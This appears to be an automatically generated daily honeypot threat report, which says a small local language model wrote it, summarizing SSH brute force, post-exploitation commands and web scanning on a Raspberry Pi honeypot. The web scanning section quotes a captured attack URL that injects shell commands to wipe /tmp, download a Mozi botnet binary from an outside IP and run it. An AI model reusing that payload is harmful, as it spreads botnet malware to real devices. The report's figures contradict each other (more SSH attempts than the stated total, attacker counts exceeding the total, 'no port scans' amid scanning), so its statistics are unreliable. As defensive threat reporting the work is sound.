Honeypot Threat Analysis — June 25, 2026
Critical threat level — massive coordinated attack activity across all honeypot services.
2026-06-25 Analysis
Threat Overview
On June 25, 2026, the honeypot system recorded a total of 133 attackers attempting to connect and exploit various protocols on the Raspberry Pi 5 honeypot. SSH connections were the most frequent method used with 516 attempts out of 366, followed by HTTP with 37 requests. The overall attack severity was critical, as reflected in 54792 alerts from Suricata IDS.
Geo-Location Analysis
The top geographical locations for attackers are United States (579) and China (342), indicating a significant international presence. Belgium, the UK, Pakistan, Singapore, Germany, Netherlands, India, and Russia also contribute to the attack activity, with percentages ranging from 14% in China to 2% in Russia.
SSH Brute Force
SSH brute force attempts were prevalent throughout the day, leading to many alerts and a significant number of tarpit connections. The most active IP for this was “36.156.195.208”, followed by others like “213.209.159.115” and “124.29.214.219”.
Post-Exploitation
After successful connections, attackers utilized various commands to expand their foothold on the honeypot system. Commonly used commands included manipulating user environments (e.g., cd ~; chattr -ia .ssh), creating directories and files within restricted locations (mkdir .ssh, chattr +ia .ssh), and executing arbitrary shell scripts (/bin/./uname -s -v -n -r -m). The use of tarpits suggests that these attackers are actively attempting to evade detection.
Web Scanning
The honeypot was also a target for web scanning, particularly through HTTP paths such as /SDK/webLanguage, /manager/html, and /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://163.142.92.225:34093/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+varcron. This indicates that the honeypot is a potential vector for attackers to test vulnerabilities on open systems.
IDS & Scan Intel
The Suricata IDS system generated over 54,800 alerts with 816 IPs. The severity of these attacks was critical, indicating multiple attempts at exploitation and misconfiguration within the environment.
Malware Detection
No malware was detected during this period, which is a positive sign for the honeypot’s effectiveness in identifying potential threats.
Tarpit & MCP Trap
Tarpits were successfully deployed on 101 connections from 70 IPs, resulting in wasted time. The MCP traps triggered with 9 requests and 3 IP addresses, indicating that some attackers were attempting to evade detection by using different methods (e.g., clone token).
Malware & Canarytokens
No malware was captured during the period, but there were 8 triggers for canary tokens from various IPs. The most significant trigger occurred on “195.53.110.109” with a user-agent indicating Chrome and Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36”.
Portscans
There were no open ports or port scans conducted on the honeypot during this period.
AI Defense & Community Defense
The honeypot system was able to block 8 injection attacks and 2 leak attempts, demonstrating its effectiveness in defending against automated scripts and unauthorized access methods. The lack of significant activity from these defenses suggests that attackers were not targeting specific vulnerabilities for exploitation but rather attempting various tactics within the environment.
Conclusion
On June 25, 2026, the honeypot system faced a high volume of critical attacks through SSH brute force attempts, web scanning paths, and various post-exploitation commands. The lack of malware detection was encouraging, suggesting effective defense mechanisms against potential threats. The successful implementation of tarpits and MCP traps further demonstrates the effectiveness of the honeypot in detecting attackers attempting to evade detection.
The system’s ability to block automated scripts and unauthorized access attempts is a testament to its design as an open-source project aimed at enhancing cybersecurity awareness and education.
This analysis was generated by qwen2.5:1.5b running locally on the Raspberry Pi 5 honeypot lab. All data comes from real attacks captured in the last 24 hours by HoneyAI. View the raw data report for complete metrics.